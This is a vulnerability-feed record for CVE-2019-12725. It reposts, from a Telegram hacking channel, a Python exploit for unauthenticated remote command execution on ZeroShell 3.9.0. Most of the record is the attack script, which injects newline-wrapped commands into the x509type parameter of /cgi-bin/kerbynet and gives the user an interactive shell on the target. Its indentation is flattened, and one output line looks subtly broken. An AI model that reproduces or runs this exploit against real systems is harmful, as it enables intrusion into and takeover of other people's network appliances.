{"uuid": "5dfb6c5d-68e6-44bf-b802-d1803f37d3de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-12725", "type": "seen", "source": "https://t.me/hacking_Attack/8547", "content": "Exploit Collector\nZeroShell 3.9.0 Remote Command Execution\n\nhttps://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png \nZeroShell version 3.9.0 remote command execution exploit.\n\nMD5 | 6136d89b624e83529112cda72e8b9e5e\n\nDownload\n# Exploit Title: ZeroShell 3.9.0 - Remote Command Execution \n# Google Dork: N/A\n# Date: 10/05/2021\n# Exploit Author: Fellipe Oliveira\n# Vendor Homepage: https://zeroshell.org/\n# Software Link: https://zeroshell.org/download/\n# Version: < 3.9.0 \n# Tested on: ZeroShell 3.9.0\n# CVE : CVE-2019-12725\n\n#!/usr/bin/python3\n\nimport requests\nimport optparse\nimport time\n\nparser = optparse.OptionParser()\nparser.add_option('-u', '--url', action=\"store\", dest=\"url\", help='Base target uri (ex. http://target-uri/)')\n\noptions, args = parser.parse_args()\nif not options.url:\nprint('[+] Specify an url target')\nprint('[+] Example usage: exploit.py -u http://target-uri/')\nprint('[+] Example help usage: exploit.py -h')\nexit()\n\nuri_zeroshell = options.url\nsession = requests.Session()\n\ndef command():\ntry:\ncheck = session.get(uri_zeroshell + \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0Aid%0A'\")\nif check.status_code == 200:\nflag = True\nprint('[+] ZeroShell 3.9.0 Remote Command Execution')\ntime.sleep(1)\nprint('[+] Success connect to target')\ntime.sleep(1)\nprint('[+] Trying to execute command in ZeroShell OS...\\n')\ntime.sleep(1)\ncheck.raise_for_status() \n\nwhile flag:\ncmd = raw_input(\"$ \")\npayload = \"/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A\" + cmd + \"%0A'\"\nuri_vuln = uri_zeroshell + payload\nburp0_headers = {\"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\", \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\", \"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\", \"Connection\": \"close\", \"Upgrade-Insecure-Requests\": \"1\"}\nres = session.get(uri_vuln, headers=burp0_headers, verify=False)\nprint(res.text[:res.text.rindex(\"\") / 2])\n\nexcept requests.exceptions.ConnectionError as err:\nprint('[x] Failed to Connect in: '+uri_zeroshell+' ')\nprint('[x] This host seems to be Down')\nexit()\nexcept requests.exceptions.HTTPError as conn:\nprint('[x] Failed to execute command in: '+uri_zeroshell+' ')\nprint('[x] This host does not appear to be a ZeroShell')\nexit()\n\ncommand()\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:03:18.359096Z"}